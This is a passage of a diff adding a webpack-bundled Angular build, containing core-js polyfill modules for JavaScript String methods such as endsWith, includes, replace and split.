https://tc39.github.io/ecma262/#sec-string.prototype.big +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'String', proto: true, forced: FORCED }, { + big: function big() { + return createHTML(this, 'big', '', ''); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.blink.js": +/*!****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.blink.js ***! + \****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var createHTML = __webpack_require__(/*! ../internals/create-html */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-html.js"); +var FORCED = __webpack_require__(/*! ../internals/forced-string-html-method */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/forced-string-html-method.js")('blink'); + +// `String.prototype.blink` method +// https://tc39.github.io/ecma262/#sec-string.prototype.blink +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'String', proto: true, forced: FORCED }, { + blink: function blink() { + return createHTML(this, 'blink', '', ''); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.bold.js": +/*!***************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.bold.js ***! + \***************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var createHTML = __webpack_require__(/*! ../internals/create-html */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-html.js"); +var FORCED = __webpack_require__(/*! ../internals/forced-string-html-method */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/forced-string-html-method.js")('bold'); + +// `String.prototype.bold` method +// https://tc39.github.io/ecma262/#sec-string.prototype.bold +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'String', proto: true, forced: FORCED }, { + bold: function bold() { + return createHTML(this, 'b', '', ''); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.code-point-at.js": +/*!************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.code-point-at.js ***! + \************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var internalCodePointAt = __webpack_require__(/*! ../internals/string-at */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/string-at.js"); + +// `String.prototype.codePointAt` method +// https://tc39.github.io/ecma262/#sec-string.prototype.codepointat +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'String', proto: true }, { + codePointAt: function codePointAt(pos) { + return internalCodePointAt(this, pos); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.ends-with.js": +/*!********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.ends-with.js ***! + \********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var toLength = __webpack_require__(/*! ../internals/to-length */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-length.js"); +var validateArguments = __webpack_require__(/*! ../internals/validate-string-method-arguments */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/validate-string-method-arguments.js"); +var ENDS_WITH = 'endsWith'; +var nativeEndsWith = ''[ENDS_WITH]; +var min = Math.min; + +var CORRECT_IS_REGEXP_LOGIC = __webpack_require__(/*! ../internals/correct-is-regexp-logic */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/correct-is-regexp-logic.js")(ENDS_WITH); + +// `String.prototype.endsWith` method +// https://tc39.github.io/ecma262/#sec-string.prototype.endswith +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'String', proto: true, forced: !CORRECT_IS_REGEXP_LOGIC }, { + endsWith: function endsWith(searchString /* , endPosition = @length */) { + var that = validateArguments(this, searchString, ENDS_WITH); + var endPosition = arguments.length > 1 ? arguments[1] : undefined; + var len = toLength(that.length); + var end = endPosition === undefined ? len : min(toLength(endPosition), len); + var search = String(searchString); + return nativeEndsWith + ? nativeEndsWith.call(that, search, end) + : that.slice(end - search.length, end) === search; + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.fixed.js": +/*!****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.fixed.js ***! + \****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var createHTML = __webpack_require__(/*! ../internals/create-html */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-html.js"); +var FORCED = __webpack_require__(/*! ../internals/forced-string-html-method */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/forced-string-html-method.js")('fixed'); + +// `String.prototype.fixed` method +// https://tc39.github.io/ecma262/#sec-string.prototype.fixed +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'String', proto: true, forced: FORCED }, { + fixed: function fixed() { + return createHTML(this, 'tt', '', ''); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.fontcolor.js": +/*!********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.fontcolor.js ***! + \********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var createHTML = __webpack_require__(/*! ../internals/create-html */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-html.js"); +var FORCED = __webpack_require__(/*! ../internals/forced-string-html-method */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/forced-string-html-method.js")('fontcolor'); + +// `String.prototype.fontcolor` method +// https://tc39.github.io/ecma262/#sec-string.prototype.fontcolor +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'String', proto: true, forced: FORCED }, { + fontcolor: function fontcolor(color) { + return createHTML(this, 'font', 'color', color); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.fontsize.js": +/*!*******************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.fontsize.js ***! + \*******************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var createHTML = __webpack_require__(/*! ../internals/create-html */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-html.js"); +var FORCED = __webpack_require__(/*! ../internals/forced-string-html-method */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/forced-string-html-method.js")('fontsize'); + +// `String.prototype.fontsize` method +// https://tc39.github.io/ecma262/#sec-string.prototype.fontsize +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'String', proto: true, forced: FORCED }, { + fontsize: function fontsize(size) { + return createHTML(this, 'font', 'size', size); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.from-code-point.js": +/*!**************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.from-code-point.js ***! + \**************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var toAbsoluteIndex = __webpack_require__(/*! ../internals/to-absolute-index */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-absolute-index.js"); +var fromCharCode = String.fromCharCode; +var nativeFromCodePoint = String.fromCodePoint; + +// length should be 1, old FF problem +var INCORRECT_LENGTH = !!nativeFromCodePoint && nativeFromCodePoint.length != 1; + +// `String.fromCodePoint` method +// https://tc39.github.io/ecma262/#sec-string.fromcodepoint +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'String', stat: true, forced: INCORRECT_LENGTH }, { + fromCodePoint: function fromCodePoint(x) { // eslint-disable-line no-unused-vars + var elements = []; + var length = arguments.length; + var i = 0; + var code; + while (length > i) { + code = +arguments[i++]; + if (toAbsoluteIndex(code, 0x10FFFF) !== code) throw RangeError(code + ' is not a valid code point'); + elements.push(code < 0x10000 + ? fromCharCode(code) + : fromCharCode(((code -= 0x10000) >> 10) + 0xD800, code % 0x400 + 0xDC00) + ); + } return elements.join(''); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.includes.js": +/*!*******************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.includes.js ***! + \*******************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var validateArguments = __webpack_require__(/*! ../internals/validate-string-method-arguments */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/validate-string-method-arguments.js"); +var INCLUDES = 'includes'; + +var CORRECT_IS_REGEXP_LOGIC = __webpack_require__(/*! ../internals/correct-is-regexp-logic */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/correct-is-regexp-logic.js")(INCLUDES); + +// `String.prototype.includes` method +// https://tc39.github.io/ecma262/#sec-string.prototype.includes +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'String', proto: true, forced: !CORRECT_IS_REGEXP_LOGIC }, { + includes: function includes(searchString /* , position = 0 */) { + return !!~validateArguments(this, searchString, INCLUDES) + .indexOf(searchString, arguments.length > 1 ? arguments[1] : undefined); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.italics.js": +/*!******************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.italics.js ***! + \******************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var createHTML = __webpack_require__(/*! ../internals/create-html */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-html.js"); +var FORCED = __webpack_require__(/*! ../internals/forced-string-html-method */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/forced-string-html-method.js")('italics'); + +// `String.prototype.italics` method +// https://tc39.github.io/ecma262/#sec-string.prototype.italics +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'String', proto: true, forced: FORCED }, { + italics: function italics() { + return createHTML(this, 'i', '', ''); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.iterator.js": +/*!*******************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.iterator.js ***! + \*******************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var codePointAt = __webpack_require__(/*! ../internals/string-at */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/string-at.js"); +var InternalStateModule = __webpack_require__(/*! ../internals/internal-state */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/internal-state.js"); +var defineIterator = __webpack_require__(/*! ../internals/define-iterator */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/define-iterator.js"); +var STRING_ITERATOR = 'String Iterator'; +var setInternalState = InternalStateModule.set; +var getInternalState = InternalStateModule.getterFor(STRING_ITERATOR); + +// `String.prototype[@@iterator]` method +// https://tc39.github.io/ecma262/#sec-string.prototype-@@iterator +defineIterator(String, 'String', function (iterated) { + setInternalState(this, { + type: STRING_ITERATOR, + string: String(iterated), + index: 0 + }); +// `%StringIteratorPrototype%.next` method +// https://tc39.github.io/ecma262/#sec-%stringiteratorprototype%.next +}, function next() { + var state = getInternalState(this); + var string = state.string; + var index = state.index; + var point; + if (index >= string.length) return { value: undefined, done: true }; + point = codePointAt(string, index, true); + state.index += point.length; + return { value: point, done: false }; +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.link.js": +/*!***************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.link.js ***! + \***************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var createHTML = __webpack_require__(/*! ../internals/create-html */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-html.js"); +var FORCED = __webpack_require__(/*! ../internals/forced-string-html-method */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/forced-string-html-method.js")('link'); + +// `String.prototype.link` method +// https://tc39.github.io/ecma262/#sec-string.prototype.link +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'String', proto: true, forced: FORCED }, { + link: function link(url) { + return createHTML(this, 'a', 'href', url); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.match.js": +/*!****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.match.js ***! + \****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var toLength = __webpack_require__(/*! ../internals/to-length */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-length.js"); +var requireObjectCoercible = __webpack_require__(/*! ../internals/require-object-coercible */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/require-object-coercible.js"); +var advanceStringIndex = __webpack_require__(/*! ../internals/advance-string-index */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/advance-string-index.js"); +var regExpExec = __webpack_require__(/*! ../internals/regexp-exec-abstract */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/regexp-exec-abstract.js"); + +// @@match logic +__webpack_require__(/*! ../internals/fix-regexp-well-known-symbol-logic */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fix-regexp-well-known-symbol-logic.js")( + 'match', + 1, + function (MATCH, nativeMatch, maybeCallNative) { + return [ + // `String.prototype.match` method + // https://tc39.github.io/ecma262/#sec-string.prototype.match + function match(regexp) { + var O = requireObjectCoercible(this); + var matcher = regexp == undefined ? undefined : regexp[MATCH]; + return matcher !== undefined ? matcher.call(regexp, O) : new RegExp(regexp)[MATCH](String(O)); + }, + // `RegExp.prototype[@@match]` method + // https://tc39.github.io/ecma262/#sec-regexp.prototype-@@match + function (regexp) { + var res = maybeCallNative(nativeMatch, regexp, this); + if (res.done) return res.value; + + var rx = anObject(regexp); + var S = String(this); + + if (!rx.global) return regExpExec(rx, S); + + var fullUnicode = rx.unicode; + rx.lastIndex = 0; + var A = []; + var n = 0; + var result; + while ((result = regExpExec(rx, S)) !== null) { + var matchStr = String(result[0]); + A[n] = matchStr; + if (matchStr === '') rx.lastIndex = advanceStringIndex(S, toLength(rx.lastIndex), fullUnicode); + n++; + } + return n === 0 ? null : A; + } + ]; + } +); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.raw.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.raw.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var toIndexedObject = __webpack_require__(/*! ../internals/to-indexed-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-indexed-object.js"); +var toLength = __webpack_require__(/*! ../internals/to-length */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-length.js"); + +// `String.raw` method +// https://tc39.github.io/ecma262/#sec-string.raw +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'String', stat: true }, { + raw: function raw(template) { + var rawTemplate = toIndexedObject(template.raw); + var literalSegments = toLength(rawTemplate.length); + var argumentsLength = arguments.length; + var elements = []; + var i = 0; + while (literalSegments > i) { + elements.push(String(rawTemplate[i++])); + if (i < argumentsLength) elements.push(String(arguments[i])); + } return elements.join(''); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.repeat.js": +/*!*****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.repeat.js ***! + \*****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// `String.prototype.repeat` method +// https://tc39.github.io/ecma262/#sec-string.prototype.repeat +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'String', proto: true }, { + repeat: __webpack_require__(/*! ../internals/string-repeat */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/string-repeat.js") +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.replace.js": +/*!******************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.replace.js ***! + \******************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var toObject = __webpack_require__(/*! ../internals/to-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-object.js"); +var toLength = __webpack_require__(/*! ../internals/to-length */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-length.js"); +var toInteger = __webpack_require__(/*! ../internals/to-integer */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-integer.js"); +var requireObjectCoercible = __webpack_require__(/*! ../internals/require-object-coercible */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/require-object-coercible.js"); +var advanceStringIndex = __webpack_require__(/*! ../internals/advance-string-index */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/advance-string-index.js"); +var regExpExec = __webpack_require__(/*! ../internals/regexp-exec-abstract */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/regexp-exec-abstract.js"); +var max = Math.max; +var min = Math.min; +var floor = Math.floor; +var SUBSTITUTION_SYMBOLS = /\$([$&`']|\d\d?|<[^>]*>)/g; +var SUBSTITUTION_SYMBOLS_NO_NAMED = /\$([$&`']|\d\d?)/g; + +var maybeToString = function (it) { + return it === undefined ? it : String(it); +}; + +// @@replace logic +__webpack_require__(/*! ../internals/fix-regexp-well-known-symbol-logic */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fix-regexp-well-known-symbol-logic.js")( + 'replace', + 2, + function (REPLACE, nativeReplace, maybeCallNative) { + return [ + // `String.prototype.replace` method + // https://tc39.github.io/ecma262/#sec-string.prototype.replace + function replace(searchValue, replaceValue) { + var O = requireObjectCoercible(this); + var replacer = searchValue == undefined ? undefined : searchValue[REPLACE]; + return replacer !== undefined + ? replacer.call(searchValue, O, replaceValue) + : nativeReplace.call(String(O), searchValue, replaceValue); + }, + // `RegExp.prototype[@@replace]` method + // https://tc39.github.io/ecma262/#sec-regexp.prototype-@@replace + function (regexp, replaceValue) { + var res = maybeCallNative(nativeReplace, regexp, this, replaceValue); + if (res.done) return res.value; + + var rx = anObject(regexp); + var S = String(this); + + var functionalReplace = typeof replaceValue === 'function'; + if (!functionalReplace) replaceValue = String(replaceValue); + + var global = rx.global; + if (global) { + var fullUnicode = rx.unicode; + rx.lastIndex = 0; + } + var results = []; + while (true) { + var result = regExpExec(rx, S); + if (result === null) break; + + results.push(result); + if (!global) break; + + var matchStr = String(result[0]); + if (matchStr === '') rx.lastIndex = advanceStringIndex(S, toLength(rx.lastIndex), fullUnicode); + } + + var accumulatedResult = ''; + var nextSourcePosition = 0; + for (var i = 0; i < results.length; i++) { + result = results[i]; + + var matched = String(result[0]); + var position = max(min(toInteger(result.index), S.length), 0); + var captures = []; + // NOTE: This is equivalent to + // captures = result.slice(1).map(maybeToString) + // but for some reason `nativeSlice.call(result, 1, result.length)` (called in + // the slice polyfill when slicing native arrays) "doesn't work" in safari 9 and + // causes a crash (https://pastebin.com/N21QzeQA) when trying to debug it. + for (var j = 1; j < result.length; j++) captures.push(maybeToString(result[j])); + var namedCaptures = result.groups; + if (functionalReplace) { + var replacerArgs = [matched].concat(captures, position, S); + if (namedCaptures !== undefined) replacerArgs.push(namedCaptures); + var replacement = String(replaceValue.apply(undefined, replacerArgs)); + } else { + replacement = getSubstitution(matched, S, position, captures, namedCaptures, replaceValue); + } + if (position >= nextSourcePosition) { + accumulatedResult += S.slice(nextSourcePosition, position) + replacement; + nextSourcePosition = position + matched.length; + } + } + return accumulatedResult + S.slice(nextSourcePosition); + } + ]; + + // https://tc39.github.io/ecma262/#sec-getsubstitution + function getSubstitution(matched, str, position, captures, namedCaptures, replacement) { + var tailPos = position + matched.length; + var m = captures.length; + var symbols = SUBSTITUTION_SYMBOLS_NO_NAMED; + if (namedCaptures !== undefined) { + namedCaptures = toObject(namedCaptures); + symbols = SUBSTITUTION_SYMBOLS; + } + return nativeReplace.call(replacement, symbols, function (match, ch) { + var capture; + switch (ch.charAt(0)) { + case '$': return '$'; + case '&': return matched; + case '`': return str.slice(0, position); + case "'": return str.slice(tailPos); + case '<': + capture = namedCaptures[ch.slice(1, -1)]; + break; + default: // \d\d? + var n = +ch; + if (n === 0) return match; + if (n > m) { + var f = floor(n / 10); + if (f === 0) return match; + if (f <= m) return captures[f - 1] === undefined ? ch.charAt(1) : captures[f - 1] + ch.charAt(1); + return match; + } + capture = captures[n - 1]; + } + return capture === undefined ? '' : capture; + }); + } + } +); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.search.js": +/*!*****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.search.js ***! + \*****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var requireObjectCoercible = __webpack_require__(/*! ../internals/require-object-coercible */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/require-object-coercible.js"); +var sameValue = __webpack_require__(/*! ../internals/same-value */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/same-value.js"); +var regExpExec = __webpack_require__(/*! ../internals/regexp-exec-abstract */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/regexp-exec-abstract.js"); + +// @@search logic +__webpack_require__(/*! ../internals/fix-regexp-well-known-symbol-logic */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fix-regexp-well-known-symbol-logic.js")( + 'search', + 1, + function (SEARCH, nativeSearch, maybeCallNative) { + return [ + // `String.prototype.search` method + // https://tc39.github.io/ecma262/#sec-string.prototype.search + function search(regexp) { + var O = requireObjectCoercible(this); + var searcher = regexp == undefined ? undefined : regexp[SEARCH]; + return searcher !== undefined ? searcher.call(regexp, O) : new RegExp(regexp)[SEARCH](String(O)); + }, + // `RegExp.prototype[@@search]` method + // https://tc39.github.io/ecma262/#sec-regexp.prototype-@@search + function (regexp) { + var res = maybeCallNative(nativeSearch, regexp, this); + if (res.done) return res.value; + + var rx = anObject(regexp); + var S = String(this); + + var previousLastIndex = rx.lastIndex; + if (!sameValue(previousLastIndex, 0)) rx.lastIndex = 0; + var result = regExpExec(rx, S); + if (!sameValue(rx.lastIndex, previousLastIndex)) rx.lastIndex = previousLastIndex; + return result === null ? -1 : result.index; + } + ]; + } +); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.small.js": +/*!****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.small.js ***! + \****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var createHTML = __webpack_require__(/*! ../internals/create-html */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-html.js"); +var FORCED = __webpack_require__(/*! ../internals/forced-string-html-method */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/forced-string-html-method.js")('small'); + +// `String.prototype.small` method +// https://tc39.github.io/ecma262/#sec-string.prototype.small +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'String', proto: true, forced: FORCED }, { + small: function small() { + return createHTML(this, 'small', '', ''); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.split.js": +/*!****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.split.js ***! + \****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var isRegExp = __webpack_require__(/*! ../internals/is-regexp */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-regexp.js"); +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var requireObjectCoercible = __webpack_require__(/*! ../internals/require-object-coercible */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/require-object-coercible.js"); +var speciesConstructor = __webpack_require__(/*! ../internals/species-constructor */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/species-constructor.js"); +var advanceStringIndex = __webpack_require__(/*! ../internals/advance-string-index */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/advance-string-index.js"); +var toLength = __webpack_require__(/*! ../internals/to-length */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-length.js"); +var callRegExpExec = __webpack_require__(/*! ../internals/regexp-exec-abstract */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/regexp-exec-abstract.js"); +var regexpExec = __webpack_require__(/*! ../internals/regexp-exec */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/regexp-exec.js"); +var fails = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js"); +var arrayPush = [].push; +var min = Math.min; +var MAX_UINT32 = 0xFFFFFFFF; + +// babel-minify transpiles RegExp('x', 'y') -> /x/y and it causes SyntaxError +var SUPPORTS_Y = !fails(function () { return !RegExp(MAX_UINT32, 'y'); }); + +// @@split logic +__webpack_require__(/*! ../internals/fix-regexp-well-known-symbol-logic */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fix-regexp-well-known-symbol-logic.js")( + 'split', + 2, + function (SPLIT, nativeSplit, maybeCallNative) { + var internalSplit; + if ( + 'abbc'.split(/(b)*/)[1] == 'c' || + 'test'.split(/(?:)/, -1).length != 4 || + 'ab'.split(/(?:ab)*/).length != 2 || + '.'.split(/(.?)(.?)/).length != 4 || + '.'.split(/()()/).length > 1 || + ''.split(/.?/).length + ) { + // based on es5-shim implementation, need to rework it + internalSplit = function (separator, limit) { + var string = String(requireObjectCoercible(this)); + var lim = limit === undefined ? MAX_UINT32 : limit >>> 0; + if (lim === 0) return []; + if (separator === undefined) return [string]; + // If `separator` is not a regex, use native split + if (!isRegExp(separator)) { + return nativeSplit.call(string, separator, lim); + } + var output = []; + var flags = (separator.ignoreCase ? 'i' : '') + + (separator.multiline ? 'm' : '') + + (separator.unicode ? 'u' : '') + + (separator.sticky ? 'y' : ''); + var lastLastIndex = 0; + // Make `global` and avoid `lastIndex` issues by working with a copy + var separatorCopy = new RegExp(separator.source, flags + 'g'); + var match, lastIndex, lastLength; + while (match = regexpExec.call(separatorCopy, string)) { + lastIndex = separatorCopy.lastIndex; + if (lastIndex > lastLastIndex) { + output.push(string.slice(lastLastIndex, match.index)); + if (match.length > 1 && match.index < string.length) arrayPush.apply(output, match.slice(1)); + lastLength = match[0].length; + lastLastIndex = lastIndex; + if (output.length >= lim) break; + } + if (separatorCopy.lastIndex === match.index) separatorCopy.lastIndex++; // Avoid an infinite loop + } + if (lastLastIndex === string.length) { + if (lastLength || !separatorCopy.test('')) output.push(''); + } else output.push(string.slice(lastLastIndex)); + return output.length > lim ? output.slice(0, lim) : output; + }; + // Chakra, V8 + } else if ('0'.split(undefined, 0).length) { + internalSplit = function (separator, limit) { + return separator === undefined && limit === 0 ? [] : nativeSplit.call(this, separator, limit); + }; + } else internalSplit = nativeSplit; + + return [ + // `String.prototype.split` method + // https://tc39.github.io/ecma262/#sec-string.prototype.split + function split(separator, limit) { + var O = requireObjectCoercible(this); + var splitter = separator == undefined ? undefined : separator[SPLIT]; + return splitter !== undefined + ? splitter.call(separator, O, limit) + : internalSplit.call(String(O), separator, limit); + }, + // `RegExp.prototype[@@split]` method + // https://tc39.github.io/ecma262/#sec-regexp.prototype-@@split + // + // NOTE: This cannot be properly polyfilled in engines that don't support + // the 'y' flag. + function (regexp, limit) 